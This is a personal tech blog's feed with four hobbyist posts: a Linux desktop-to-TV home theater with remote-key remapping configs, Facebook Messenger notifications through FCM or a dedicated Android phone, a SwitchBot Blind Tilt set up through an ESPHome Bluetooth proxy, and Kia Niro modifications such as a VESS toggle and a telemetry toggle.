conway.scot2023-11-08T18:34:16+00:00https://conway.scotScott Conwayme@conway.scotA Tour of my Overcomplicated Home Theater Setup2023-11-08T00:00:00+00:00https://conway.scot/tv_for_nerds<h1 id="using-a-fire-stick">Using a Fire Stick</h1>
<p>I bought a TV a few months ago. I hadn’t had one for a while, but I was ready to make a home theater at the time of purchase. I already had a 3.1 audio system ready, with a 4K capable Yamaha receiver. Not to mention, a trusty <a href="https://miguelmota.com/blog/rooting-a-fire-tv-stick-4k/">rooted Amazon Fire Stick 4K</a> that had been collecting dust since the last time I had a TV.</p>
<p>After initial setup, the equipment seemed to work well. It took a bit to set up ARC and HDMI-CEC, but once they were ready, everything seemed to operate fantastically. At first glance, the Fire Stick was a great solution to streaming content from my local <a href="https://jellyfin.org/">Jellyfin</a> server. <em>However</em>, after some time, I found a number of issues with some combination of Android, the device itself, and my heavily customized setup. First, I had a tough time finding a media player that would play well with hardware decoding 4K streams (without dropping frames). When I settled on Kodi, I found that video streams would <strong>consistently</strong> error after ~40-60 minutes of playback. The Kodi app would need to be restarted to re-launch the media stream. After pulling my hair out for a bit, I decided on an easier course of action than using an Android TV box - <em>long HDMI cable</em>.</p>
<h1 id="you-should-really-just-plug-your-desktop-into-your-tv">You should really just plug your desktop into your TV</h1>
<p>I was lucky to find that I only needed a ~35ft cable to reach from my desktop to my TV, almost topping off the practical length of an HDMI cable. So I got to testing. I had grand plans, but at first I just addressed the TV as another logical display and managed it with a wireless keyboard/trackpad (Logitech K400, courtesy of the local Goodwill). I’d be using the keyboard 99% of the time, as I just move through my media collection to launch videos in mpv.</p>
<p>Initial problems:</p>
<ul>
<li>Changing from desktop to TV mode and back take too many steps!</li>
<li>The interface sucks - keyboards (without a backlight) are not great in low-light conditions, and the K400 trackpad is awful to use</li>
<li>Audio issues with non-stereo profiles (5.1, 7.1)</li>
<li>My desktop only wants to drive the TV at 30Hz for 4K resolutions</li>
</ul>
<p>Let’s go through these one at a time.</p>
<h2 id="changing-from-desktop-to-tv-mode-and-back-take-too-many-steps">Changing from desktop to TV mode and back take too many steps!</h2>
<p>I quickly made some aliases for changing my display modes to “desktop” and “tv” modes, using <code class="language-plaintext highlighter-rouge">xrandr</code>. This one mirrors the TV’s output at scale onto my 1080p monitor.</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>xrandr --output HDMI-A-0 --auto \
--output DisplayPort-1 --scale-from 4096x2160 --same-as HDMI-A-0
</code></pre></div></div>
<p>Using <code class="language-plaintext highlighter-rouge">pacmd</code>, we can set the audio sink to use the TV (which is hooked up to the receiver through HDMI ARC).</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>pacmd set-default-sink alsa_output.pci-0000_03_00.1.hdmi-stereo
</code></pre></div></div>
<h2 id="the-interface-sucks---keyboards-without-a-backlight-are-not-great-in-low-light-conditions-and-the-k400-trackpad-is-awful-to-use">The interface sucks - keyboards (without a backlight) are not great in low-light conditions, and the K400 trackpad is awful to use</h2>
<p>After using the keyboard/trackpad for a few weeks, I noticed that my biggest complaint was not having a backlight. I largely use the keyboard to select media to play, and as an oversized pause/play button. If done correctly, I could absolutely swap it out for a properly configured remote or gamepad. The Fire Stick remote is just a Bluetooth HID device, so I paired it with my desktop and started mapping its buttons. <code class="language-plaintext highlighter-rouge">xev</code> showed that it used keys, not buttons. That made macroing it a bit more difficult than it needed to be.</p>
<p>If it was using buttons, I’d simply write the actions to take in <code class="language-plaintext highlighter-rouge">~/.xbindkeysrc</code>. Instead, the keys it sent were quite normal - arrow keys, enter, and several XF86 keys. I’d like to macro the buttons, but not affect other input devices’ operation. After reading a few too many StackOverflow posts on the matter, I landed up at <a href="https://github.com/philipl/evdevremapkeys/">evdevremapkeys</a>. This program allows you to remap (not macro) keys from specific input devices. Since you can only remap keys, I ended up creating macros by mapping the voice search button as a series of modifier keys that no sane person would ever use on a real keyboard. This allowed me to create shortcuts in my desktop environment that would effectively only be used by the Fire Stick remote. Additionally, since <code class="language-plaintext highlighter-rouge">evdevremapkeys</code> does not support disabling keys entirely, I “disabled” keys by having them send a useless key event - scroll lock.</p>
<p>Here’s the configuration that I ended up using. This is <em>heavily</em> geared towards my exact workflow and the programs I use. It is likely not optimal for you, but it should serve as a nice starting point.</p>
<figure class="highlight"><pre><code class="language-yaml" data-lang="yaml"><span class="na">devices</span><span class="pi">:</span>
<span class="pi">-</span> <span class="na">input_name</span><span class="pi">:</span> <span class="s">AR Keyboard</span>
<span class="na">input_phys</span><span class="pi">:</span> <span class="s1">'</span><span class="s">e8:48:b8:c8:20:00'</span>
<span class="na">output_name</span><span class="pi">:</span> <span class="s">remap-fire</span>
<span class="na">remappings</span><span class="pi">:</span>
<span class="c1"># disable buttons that perform IR actions</span>
<span class="na">KEY_POWER</span><span class="pi">:</span>
<span class="pi">-</span> <span class="s">KEY_SCROLLLOCK</span>
<span class="na">KEY_VOLUMEUP</span><span class="pi">:</span>
<span class="pi">-</span> <span class="s">KEY_SCROLLLOCK</span>
<span class="na">KEY_VOLUMEDOWN</span><span class="pi">:</span>
<span class="pi">-</span> <span class="s">KEY_SCROLLLOCK</span>
<span class="na">KEY_MUTE</span><span class="pi">:</span>
<span class="pi">-</span> <span class="s">KEY_SCROLLLOCK</span>
<span class="c1"># voice search button as modifier key</span>
<span class="na">KEY_SEARCH</span><span class="pi">:</span>
<span class="pi">-</span> <span class="s">KEY_LEFTMETA</span>
<span class="pi">-</span> <span class="s">KEY_LEFTCTRL</span>
<span class="pi">-</span> <span class="s">KEY_LEFTALT</span>
<span class="pi">-</span> <span class="s">KEY_LEFTSHIFT</span>
<span class="c1"># keep arrow keys and enter button as they are</span>
<span class="c1"># arrow keys scrub, center button selects</span>
<span class="c1">#</span>
<span class="c1"># KEY_UP</span>
<span class="c1"># KEY_DOWN</span>
<span class="c1"># KEY_LEFT</span>
<span class="c1"># KEY_RIGHT</span>
<span class="c1"># KEY_KPENTER</span>
<span class="c1"># caja up directory</span>
<span class="na">KEY_BACK</span><span class="pi">:</span>
<span class="pi">-</span> <span class="s">KEY_LEFTALT</span>
<span class="pi">-</span> <span class="s">KEY_UP</span>
<span class="c1"># caja movies shortcut</span>
<span class="na">KEY_HOMEPAGE</span><span class="pi">:</span>
<span class="pi">-</span> <span class="s">KEY_LEFTMETA</span>
<span class="pi">-</span> <span class="s">KEY_LEFTCTRL</span>
<span class="pi">-</span> <span class="s">KEY_LEFTALT</span>
<span class="pi">-</span> <span class="s">KEY_LEFTSHIFT</span>
<span class="pi">-</span> <span class="s">KEY_UP</span>
<span class="c1"># mpv fullscreen</span>
<span class="na">KEY_MENU</span><span class="pi">:</span>
<span class="pi">-</span> <span class="s">KEY_F</span>
<span class="c1"># mpv prev file</span>
<span class="na">KEY_REWIND</span><span class="pi">:</span>
<span class="pi">-</span> <span class="s">KEY_LEFTSHIFT</span>
<span class="pi">-</span> <span class="s">KEY_COMMA</span>
<span class="c1"># mpv pause/play</span>
<span class="na">KEY_PLAYPAUSE</span><span class="pi">:</span>
<span class="pi">-</span> <span class="s">KEY_SPACE</span>
<span class="c1"># mpv next file</span>
<span class="na">KEY_FASTFORWARD</span><span class="pi">:</span>
<span class="pi">-</span> <span class="s">KEY_LEFTSHIFT</span>
<span class="pi">-</span> <span class="s">KEY_DOT</span> </code></pre></figure>
<p>Another note - <code class="language-plaintext highlighter-rouge">xev</code> had problems detecting the media keys, since my desktop environment hijacked them. Using <code class="language-plaintext highlighter-rouge">evdevremapkeys -e</code> to listen to the remote, I was able to identify all of the keys.</p>
<p>With this setup, I can configure 11 macros with the search key and another button, all without having to use buttons that are already mapped to IR functions. I’ve configured macros in my desktop environment to launch applications and run scripts, such as the above <code class="language-plaintext highlighter-rouge">xrandr</code> command for toggling my “tv mode” display layout.</p>
<p>I’m still not 100% happy with this configuration, but the basis of how the remote generates macros and keypresses is good.</p>
<h2 id="audio-issues-with-non-stereo-profiles-51-71">Audio issues with non-stereo profiles (5.1, 7.1)</h2>
<p>It took me far too long to realize this, but using an audio receiver in any mode other than “straight” is incorrect. As stated in <a href="https://blogs.gentoo.org/mgorny/2021/07/25/getting-dts-5-1-sound-via-s-pdif-or-hdmi-using-pulseaudio/">this fantastic blog post</a>, HDMI ARC for 3.1+ audio channels can be hit or miss. TVs don’t always support more than 2 PCM channels (even though HDMI 1.2 supports up to 8 channels).</p>
<blockquote>
<p>Fortunately, additional audio channels work when compressed input is used. HDMI supports more audio formats, including DTS-HD MA and TrueHD.</p>
</blockquote>
<p>Well, not on my TV! My Samsung TV displays PCM, Dolby Digital, DTS, and DTS Neo 2:5 as possible output methods. However, it does not let me select Dolby or (standard) DTS settings. When outputting DTS to the TV with <a href="https://gitlab.com/patrakov/dcaenc">this PulseAudio plugin</a>, my receiver produces a nice buzz, and nothing more.</p>
<p>That’s not to detract from the blog post - if your TV is <em>sane</em> and supports standards such as DTS, by all means, use it and continue to use HDMI ARC! For me, I have to live with connecting my input source to my receiver to have 3.1+ sound. That leads to its own issues, such as HDMI-CEC not turning on my receiver when the TV is powered on.</p>
<h2 id="my-desktop-only-wants-to-drive-the-tv-at-30hz-for-4k-resolutions">My desktop only wants to drive the TV at 30Hz for 4K resolutions</h2>
<p>This one is likely specific to Samsung TVs, though other OEMs might have similar issues. In order to drive the display above resolutions of 1080p at 60Hz, you need to enable the <code class="language-plaintext highlighter-rouge">Full UHD Color</code> setting for your given HDMI port in the TV’s configuration (under General -> External Device Manager). <em>However</em>, this requires that the connected input provides 10-bit color. This wasn’t too difficult to configure in Xorg for my AMD graphics card. <a href="https://wiki.archlinux.org/title/AMDGPU#10-bit_color">Thanks Archwiki!</a></p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>/etc/X11/xorg.conf.d/20-amdgpu.conf
Section "Screen"
Identifier "HDMI-A-0"
DefaultDepth 30
EndSection
</code></pre></div></div>
<h2 id="bonus---hdmi-cec-isnt-turning-on-my-audio-receiver">Bonus - HDMI-CEC isn’t turning on my audio receiver!</h2>
<p>After settling on connecting my input sources to the audio receiver, I noticed that HDMI-CEC would no longer power on the receiver when the TV is turned on. This lead to some interesting behaviors.</p>
<ul>
<li>If the TV is turned on followed by the receiver turning on, HDMI ARC would notice the receiver, and route IR commands for volume to the receiver</li>
<li>If the receiver was turned on first, the TV would send volume commands to the TV speaker</li>
</ul>
<p>I figured that since I use a script to switch to “TV mode” to begin with, including a line that would power on the receiver over the network wouldn’t be so bad. I have a Yamaha RX-V679, which has a pretty capable API. The only downside is that it’s XML-based. I came across <a href="https://github.com/PSeitz/yamaha-nodejs">this repo</a> to control it. I started a python rewrite, but as most projects go, I didn’t get complete coverage / testing so I’ve yet to publish it. Maybe someday I will!</p>
<p>Anyway, this is all it takes from a NodeJS script to power on the receiver.</p>
<figure class="highlight"><pre><code class="language-js" data-lang="js"><span class="kd">var</span> <span class="nx">YamahaAPI</span> <span class="o">=</span> <span class="nx">require</span><span class="p">(</span><span class="dl">"</span><span class="s2">yamaha-nodejs</span><span class="dl">"</span><span class="p">);</span>
<span class="kd">var</span> <span class="nx">yamaha</span> <span class="o">=</span> <span class="k">new</span> <span class="nx">YamahaAPI</span><span class="p">(</span><span class="dl">"</span><span class="s2">192.168.1.100</span><span class="dl">"</span><span class="p">);</span>
<span class="nx">yamaha</span><span class="p">.</span><span class="nx">powerOn</span><span class="p">()</span></code></pre></figure>
Receiving Facebook Messenger Notifications Without Compromising Your Privacy2023-08-11T00:00:00+00:00https://conway.scot/facebook_messenger_notifications<p>I’m not a huge fan of facebook. I had an account as a youth, deleted it in college, and then later realized that facebook marketplace was the new craigslist, and that I’d miss out on buying and selling local goods if I limited myself to the marketplace of web 1.0. Oh well, account reinstated (for marketplace purposes only).</p>
<p>In order to sell items on marketplace, you need to use facebook messenger. Now, I have no issue with getting an email or something when I have a new message in my inbox, and then logging into facebook (in a web browser, in a container tab, on a VPN). I’ve yet to come across a 3rd party client that has all of marketplace’s functionality, so for now I’m stuck using the desktop website. <em>However</em>, in order to drive engagement and distribute malware, facebook doesn’t give you the option of sending external notifications for incoming messages. In order to get an alert that someone contacted you through messenger, facebook requires you to either be on the website at the time or install any of their desktop or mobile applications. Needless to say, I’m not going to do that.</p>
<p>Ok, there has to be <em>at least</em> one (official or otherwise) functional API client that I can use for this, right? Not quite. I’d been down this path before, making a simple auto-reply bot to instruct my friends to reach out via email instead, before my earlier departure from the platform. However, API endpoints change and the library I used (<a href="https://github.com/fbchat-dev/fbchat">fbchat</a>) is no longer actively maintained. That said, I don’t mean to knock it - it just needs constant poking, since facebook still loves to break things.</p>
<p>Continuing my search for unofficial API clients, I came across <a href="https://github.com/radian-software/unzuckify/">Unzuckify</a>. The program was quick to try out, and at first glance, it fit all of my criteria. I forked it for <em>reasons</em>. You can find my fork <a href="https://github.com/scottmconway/unzuckify">here</a>. However, after messing with it for a while, I found that it didn’t catch message requests or marketplace messages. That said, if you’re just looking to forward messages to/from friends, I recommend checking it out. My fork logs messages to a standard logging namespace, so the messages can effectively be sent anywhere with a small amount of code changes.</p>
<p>So, why are message requests and marketplace messages different than regular messages, and how can I get notifications for them? Let’s talk about facebook messenger’s APIs.</p>
<p>Unzuckify uses messenger’s GraphQL API to perform actions, such as listing the inbox contents or interacting with a thread. You can read Radon Rosborough’s blog post on reversing this API <a href="https://intuitiveexplanations.com/tech/messenger">here</a>. fbchat, on the other hand, uses messenger’s MQTT API <em>and</em> the GraphQL API, depending on the function. Message requests and marketplace messages are shown exclusively through the MQTT API. As mentioned previously, fbchat is currently unmaintained, and by default, has a bit of trouble authenticating to messenger. You can get it to work if you poke at the library enough, though we’ll see that fbchat didn’t solve my problems, either…</p>
<p>Once I got fbchat working [1], the next step was to chase down what MQTT topics spat out message requests and marketplace messages. For that, I spent quite some time in firefox’s dev console, tracing WS-MQTT calls until my eyes bled. After dropping and picking up the project a few times without progress, I realized that even if I did get a client to work, I’d likely need to fix it every so often, as new features are added and old APIs are deprecated. Who knows, in a year from now, the entire project could be for naught!</p>
<p>With this new attitude, I went back to the drawing board and thought about how messenger notifications (or data) can be delivered by 1st party applications.</p>
<ul>
<li>Web application (desktop or mobile site)</li>
<li>Android/iOS - Messenger/Messenger Lite in-app (FB APIs)</li>
<li>Android/iOS - Push notifications (Firebase Cloud Messaging)</li>
<li>Windows/MacOS - Messenger Desktop in-app</li>
<li>Windows/MacOS - Messenger Desktop system notifications</li>
<li>…</li>
<li>KaiOS - Facebook app?</li>
</ul>
<p>Just kidding with KaiOS - according to <a href="https://www.reddit.com/r/KaiOS/comments/rp7ehj/facebook_messenger_on_kaios_30/">this reddit thread</a>, the facebook application doesn’t even support sending notifications for messages!</p>
<p>If we want to get notifications as a user would - without directly interfacing with facebook’s APIs - we have a few options. The simplest and most disgusting option would be to load the desktop app in a selenium tab and read the tab’s title (or perhaps set it to log when sounds are made by the page). It would be error-prone and wouldn’t get message content, but it would at least give the user a ping to check facebook. At the end of the day, that’s my minimum viable product. But rather than taking the gross and easy path, I decided to investigate Firebase Cloud Messaging.</p>
<p><br /></p>
<h2 id="firebase-cloud-messaging">Firebase Cloud Messaging</h2>
<p>If you’re unfamiliar with how FCM (formerly called Google Cloud Messaging) works, you’re not alone. At a very high level, FCM provides a way to have a client device poll a single server for push notifications from multiple services, so that the device doesn’t have to run each notification-aware process at the same time, thereby conserving device resources. It’s pretty cool, except for the fact that Google’s involved. For a similar FOSS application/system, see <a href="https://unifiedpush.org/">UnifiedPush</a>.</p>
<p>For our purposes, we’ll want to do the following:</p>
<ul>
<li>Install messenger on a rooted Android device w/ microG</li>
<li>Log into messenger and make sure it registers on FCM</li>
<li>Extract the FCM credentials from the android device</li>
<li>Format or otherwise forget about the android device, without de-registering messenger from the FCM account</li>
</ul>
<p>In this approach, we only need to run messenger when we’re getting the system set up. From that point onwards, we should get notifications (that may be devoid of information) for all incoming messages.</p>
<p>With a path forward lain out, I went to researching FCM. There’s <em>a lot</em> to read. And worse, most people are only interested in connecting to FCM from the application server side of things, or making sure they’re using the right proprietary libraries for Android’s FCM client to make their mobile apps work. In my case, I’ll need my own FCM client, and I’ll need to rip whatever identifiers messenger uses for FCM authentication out of a pre-existing installation. After far too much time, I found <a href="https://github.com/morhaviv/go-fcm-receiver">go-fcm-receiver</a>. The readme defined which client identifiers were required to subscribe to a given FCM sender, so the next step was to fetch the identifiers from an authenticated FCM client. I’ll use Android, since I have experience with it.</p>
<p>When initializing an FCM client (for a single sender), you need the following parameters (taken from the above project’s readme):</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>SenderId: // Firebase Project ID
GcmToken: "<GCM_TOKEN>",
FcmToken: "<FCM_TOKEN>",
AndroidId: 5240887932061714513, // The androidId returned when the device was created
SecurityToken: 69534515778185919, // The securityToken returned when the device was created
</code></pre></div></div>
<p>Additionally, you’ll need two keys - <code class="language-plaintext highlighter-rouge">PRIVATE_KEY_BASE64</code> and <code class="language-plaintext highlighter-rouge">AUTH_SECRET_BASE64</code>.</p>
<p>I spent a large amount of time poking around in another FOSS FCM client library - <a href="https://microg.org/">microG</a>. A tl;dr for microG is that it’s a FOSS implementation of Google’s proprietary Android library, Google Play Services. Among many services, microG contains an FCM client.</p>
<p>Here’s what my hunt for those values revealed:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>SenderId: Firebase Project ID - A 12 digit string taken from an unpacked APK's /res/values/strings.xml file
GcmToken: ???
FcmToken: _presumably_ taken from /data/data/<APP>/files/PersistedInstallation.json -> AuthToken
AndroidId: The androidId returned when the device was created - taken from /data/data/com.google.android.gms/shared_prefs/checkin.xml -> androidId
SecurityToken: The securityToken returned when the device was created - taken from /data/data/com.google.android.gms/shared_prefs/checkin.xml -> securityToken
</code></pre></div></div>
<p>The next step would be to find where <code class="language-plaintext highlighter-rouge">PRIVATE_KEY_BASE64</code> and <code class="language-plaintext highlighter-rouge">AUTH_SECRET_BASE64</code> are sourced, but this too was stopped due to burnout. I still hope to finish the FCM client method one day, but today is not that day. For now, I just want notifications for facebook messages without having an application installed on my phone.</p>
<p>But what if I have messenger running on something that isn’t <em>my</em> phone? Keeping in the vein of getting notifications “as a user would”, I can set up an Android device (or VM) with microG and a notification forwarding application, install messenger on it, stuff it in a closet connected to a wall outlet, and leave it to forward notifications. Ok, there’s a <em>bit</em> more to my implementation than that.</p>
<p><br /></p>
<h2 id="android-notification-forwarding">Android Notification Forwarding</h2>
<p>First, I’ll be using the same device I mentioned in my <a href="https://conway.scot/simple-sms-forwarding/">SMS Forwarding post</a>. To reiterate, it’s a Nexus 5 running LineageOS 16 (Android 9) with a VNC server that starts on boot. Searching for notification forwarding apps, I quickly came across <a href="https://github.com/koro666/notifikator/">Notifikator</a>. With the last release being from 2019, I was skeptical that it’d work on modern versions of Android. And yet, it ran fine on my phone running Android 12. I also had no issue on the Nexus 5. A few adjustments are required for this app to forward notifications how I’d like - first, it doesn’t allow a “free-form” format for sending JSONs, so if you want to log messages to a service such as <a href="https://gotify.net/">Gotify</a>, you’ll need to either send Notifikator’s JSON to another service that’ll forward the message to your notification server for you, or implement “gotify” as a protocol in Notifikator. I chose the latter option. My fork is available <a href="https://github.com/scottmconway/notifikator/">here</a>, but at this time I wouldn’t recommend using it. I have plans to implement a package deny list (asked for in <a href="https://github.com/koro666/notifikator/issues/3">this issue</a>), but for now I’ve been alright with simply hard-coding the deny-list in code. I still have a lot to learn in mobile app development.</p>
<p>Last, there’s a highly recommended hardware modification to be made. With this phone being connected to power and locked in a closet for eternity, the battery will eventually swell. To quell that, we can simply connect the main board to 4.2V at all times and remove the potential fire hazard. I used <a href="https://web.archive.org/web/20230510193935/https://www.ebay.com/itm/262539353307">this adapter</a> to step from 5V to 4.2V, and affixed it and a USB-C port to the back of the device. From there, it just needs 5V from a normal phone charger. For bonus points, I connected it to an uninterruptible power supply. <a href="https://newscrewdriver.com/2022/01/22/convert-nexus-5-to-use-external-dc-power/">newscrewdriver.com</a> has a particularly good write-up on this process - using the same phone, no less.</p>
<p><br /></p>
<h2 id="closing">Closing</h2>
<p>The word “burnout” appears all too frequently in this post. As is probably obvious, I’ve written this post chunks at a time, stretched across several months. I’m not proud of it, or of my accepted solution. However, in the words of <a href="https://peps.python.org/pep-0020/">The Zen of Python</a>, “Now is better than never.” Having a FOSS FCM client to forward notifications to a notification server would obviously have further-reaching implications than just those of facebook notifications, though at this time I don’t have a need for it. I’m also not keen on having yet another piece of physical infrastructure to manage, or the implications of (purposely) running an outdated version of Android that’s missing recent security patches. Nevertheless, it is a valid solution to my problem.</p>
<p><br /></p>
<p>[1] For those that want to know just how to poke fbchat to get it to work (as of writing), I have the following notes from several months ago when I was working with it.</p>
<ul>
<li>broken login - fixed by allowing redirects after login and forcing the <code class="language-plaintext highlighter-rouge">revision</code> parameter to 1.</li>
<li><a href="https://github.com/fbchat-dev/fbchat/blob/master/fbchat/_session.py#L106">horrid user-agent</a> - just pick a better one</li>
</ul>
Using the SwitchBot Blind Tilt with Home Assistant2023-07-24T00:00:00+00:00https://conway.scot/switchbot_blinds_homeassistant<p>I’m not going to go in depth regarding my Home Assistant setup at this time, but I’m generally a fan of home automation (when said automation actually makes sense and adds value). With that, I recently heard about the SwitchBot Blind Tilt. I checked its compatibility with Home Assistant and soon decided to purchase one. It was delivered a few days ago, but the setup process for Home Assistant wasn’t quite straight-forward (to me, at least). So without further ado, here’s what I had to do to set it up:</p>
<ul>
<li>Physically install the device on the blinds to be automated, following SwitchBot’s instructions</li>
<li>Install SwitchBot’s app for Android or iOS, and calibrate the device
<ul>
<li>The Android app requires Google Play Services for login (and of course you need an account) -<br />I couldn’t get it to work with microG</li>
<li>If you don’t calibrate the device before connecting it to Home Assistant, the device’s controls will be shown, but no actions will be taken if they’re triggered. Ask me how I know this!</li>
</ul>
</li>
<li>Connect the Blind Tilt to Home Assistant via Bluetooth
<ul>
<li>In my case (and likely yours), the Home Assistant server won’t be in Bluetooth range of the device, if your server even has Bluetooth. To remedy this, you’ll need a Bluetooth proxy device. The easiest proxy to set up (in my opinion), is none other than <a href="https://esphome.github.io/bluetooth-proxies">ESPHome</a></li>
</ul>
</li>
</ul>
<h2 id="setting-up-an-esphome-bluetooth-proxy">Setting up an ESPHome Bluetooth Proxy</h2>
<p>First, acquire an ESP-32 device if you don’t already have one. Get a few for good measure - they’re extremely useful. Although the ESP-32 is overkill for this task when compared to an ESP-8266, I have only tested with an ESP-32. At the time of writing, <a href="https://www.amazon.com/dp/B0899775QR/">this</a> seems like a particularly good deal (3x ESP-32 for $14 USD).</p>
<p>Using a browser that supports WebSerial (eg. chromium), head over to <a href="https://web.esphome.io/">https://web.esphome.io/</a> with your ESP board connected to your computer.
Follow the guidance for “prepare for first use”, including connecting it to your WiFi network.</p>
<p>Once it’s on your network, you’ll need to provision it as a Bluetooth proxy. That, in turn, requires that you have an ESPHome Dashboard instance running somewhere on your network. For that, follow the instructions on <a href="https://esphome.io/guides/getting_started_command_line.html">this page</a>.</p>
<p>With the dashboard set up and the ESP device provisioned (but not connected to your dashboard), you’ll now have to prepare the config for a Bluetooth forwarder. On your ESPHome dashboard instance, create a new device, adding the following to the stock config:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>dashboard_import:
package_import_url: github://esphome/bluetooth-proxies/esp32-generic.yaml@main
esp32_ble_tracker:
scan_parameters:
# We currently use the defaults to ensure Bluetooth
# can co-exist with WiFi In the future we may be able to
# enable the built-in coexistence logic in ESP-IDF
active: true
bluetooth_proxy:
active: true
</code></pre></div></div>
<p>Then, click on the device’s menu, followed by <code class="language-plaintext highlighter-rouge">Install -> Manual Download -> Modern Format</code> to download the binary to be flashed on the device. With that, go to your device’s HTTP server and apply the binary as an OTA update.</p>
<p>Once your Bluetooth proxy has been programmed, you can add it in Home Assistant. Simply add the ESPHome integration and input the IP/hostname of the device. Home Assistant will then ask you for the device’s encryption key, which can be found in its YAML configuration file.</p>
<p>At this point, your SwitchBot Blind Tilt should be automatically detected. You should be able to add the device through the SwitchBot integration in Home Assistant and start controlling your device.</p>
Kia Niro Modifications2023-06-09T00:00:00+00:00https://conway.scot/kia_niro_modifications<p>I recently bought a new car - a 2022 Kia Niro Hybrid. Of course, one of the first things to do with a new vehicle is to change everything you dislike about it. Here’s the list of complaints that I have with it, and what I’ve managed to change so far.</p>
<h3 id="virtual-speaker-vess-sound-is-way-too-loud-and-beeps-in-reverse-gear">Virtual Speaker (VESS) sound is <em>way</em> too loud (and beeps in reverse gear!)</h3>
<p>I’ve driven hybrids before, so I was expecting an annoying speaker, but this one is a bit much. The reverse beep is way too over-the-top, especially when there’s no user-facing way to ever disable it.</p>
<p>It took some digging online, but I found that people took one of these approaches to “solve” the problem:</p>
<ul>
<li>Remove a fuse (MEMORY_2) that manages the VESS (and possibly more, depending on the car’s model/year)
<ul>
<li>for the 2022 HEV/PHEV, this fuse also manages the “Active Air Flap Unit”</li>
</ul>
</li>
<li>Remove the front bumper and disconnect the VESS</li>
<li>Add a button to toggle the VESS from existing wiring</li>
</ul>
<p>I haven’t found a way to simply make the VESS more quiet, or to disable the beeping while in reverse gear. That’s because the VESS is not just a speaker, but a speaker that’s connected to the CAN bus! As shown in <a href="https://www.youtube.com/watch?v=OLT1aKdpYhs">this video</a>, the VESS simply listens to the current speed and gear of the car, and figures out what sounds to make on its own. If changes to the volume were to be made, it’d be in the VESS ECU’s firmware.</p>
<p>So after deliberating for a bit (and possibly driving with the fuse pulled), I decided that a togglable VESS is better than one that’s removed entirely. The VESS is there for a reason, after all.</p>
<p>The best guide I found on making a VESS toggle was from InsideEVForums, <a href="https://web.archive.org/web/20211231193522/https://www.insideevsforum.com/community/index.php?threads/2020-kia-e-niro-vess-reverse-chime-defeat-solution.11245/page-5">archived here</a>. It was pretty easy to follow the outlined instructions and end up with a functional VESS toggle. Note that on the 2022 HEV, the “gap” in the trim panel buttons shown in the above link is replaced with a “12V Battery Reset” button. Nonetheless, the wire colors for the VESS toggle button are the same.</p>
<p><em>If you’re considering disabling your VESS, I urge you to go with a togglable method for the sake of pedestrian safety.</em></p>
<p>ps. It’s evident that the VESS toggle button is simply sending a CAN bus message to disable/enable the VESS. So with that, you don’t <em>need</em> a button, as long as you can replicate that message. I’ve been fiddling with my comma 3 and cabana to try to figure out where the message is, and I’ll update this post (or make another one) once I find anything definitive. If all goes well, I should be able to toggle the VESS from my comma device, or an ELM-327 with torque pro or an equivalent application.</p>
<h3 id="disabling-telemetry">Disabling Telemetry</h3>
<p>In previous cars that I’ve owned, I’ve removed power to the telematics units, and that was it. Some OEMs (Toyota, Subaru) go so far as to put a speaker (typically the passenger front speaker) behind the telematics unit so it can always override the speaker’s output with emergency communications. Without power to the telematics unit, however, you get a dead speaker. A simple fix to that is to just jump the wires from audio in to audio out on the telematics harness. However, Kia doesn’t have a discrete telematics unit. People have successfully removed the LTE modem daughter card from the head unit (<a href="https://www.kianiroforum.com/threads/how-to-remove-head-unit-lte-modem.10464/">as shown here</a>), but I didn’t want to start ripping apart the dash if I didn’t need to. In one of the car’s many “Engineering Menus”, there’s a toggle to wholly disable UVO. This is present so that the vehicle can be sold in Massachusetts. Question is, can you trust it? Probably not, but it’s good enough for me.</p>
<p>I’d like to include a link to a source detailing how to enter “Engineering Mode” in the vehicle, but I’ve found many conflicting ways to do so, that appear to be model-specific. I’ll leave that research as an exercise for you.</p>
<h3 id="other-modifications">Other Modifications</h3>
<p>As alluded to above, I’ve installed a <a href="https://comma.ai/shop/comma-three">Comma 3 ADAS system</a>.</p>
<p><a href="https://www.amazon.com/dp/B07QXQ9HW9">Air horn</a> - enough said.</p>
<p>I’ve also made the car quite comfortable for camping. Since it has a sunroof, I constructed a sunroof vent (more or less) as shown in <a href="https://www.youtube.com/watch?v=wLAafHR4kFU">this video</a>. Naturally, it’s paired with <a href="https://www.amazon.com/dp/B000BPF22U/">reflectix</a> window covers.</p>
<h2 id="future-modifications">Future Modifications</h2>
<h3 id="annoying-start-up--shutdown-sounds">Annoying Start Up / Shutdown Sounds</h3>
<p>On entering/exiting “Ignition”, the car makes decently loud startup/shutdown sounds. During shutdown, audio from the head unit will continue to play until the driver’s door has been opened, leading to some distasteful mixing of the audio streams. From research online, I’m not the only person that’s a critic of this “design choice”. There aren’t any togglable settings for it (in Engineering Mode or otherwise), and it appears to be sent similarly to warning sounds (door ajar, seatbelt unbuckled, etc.). I don’t have a subscription to <a href="https://kiatechinfo.snapon.com/">Kia’s Global Information System</a>, but when I eventually get one, I’ll take a look at the responsible wiring diagrams.</p>
<h3 id="toggling-the-drls">Toggling the DRLs</h3>
<p>According to the owner’s manual, the DRLs will only turn off in select circumstances:</p>
<ul>
<li>The headlight switch is on</li>
<li>The engine is off (really meaning that the car is in accessory mode)</li>
<li>The front fog light is on</li>
<li>The parking brake is engaged</li>
</ul>
<p>Perhaps there’s a circumstance where you’d like to have the DRLs off without any of those events met (inconspicuous night driving, for example). How can we disable them? Some “inventive” people online recommended physically obscuring the lights, which would work <em>I guess</em>. But we can do better than that. Back to the comma 3 and cabana. <a href="https://github.com/commaai/opendbc/blob/master/hyundai_kia_generic.dbc">hyundai_kia_generic.dbc</a> has references to a number of <code class="language-plaintext highlighter-rouge">DRL</code>-related values. Next steps - toggle the DRLs through any of the aforementioned settings and see what cabana has to say about it. The end goal would be able to toggle the DRLs by sending a message from the comma 3.</p>
<h2 id="closing">Closing</h2>
<p>I can’t find a reason to link to this website in any of the above topics, but it’s tangentially related. I found this in my research of methods to disable/quiet the VESS. It’s a wealth of information, both car-related and otherwise.</p>
<p><a href="https://techno-fandom.org/~hobbit/">https://techno-fandom.org/~hobbit/</a></p>
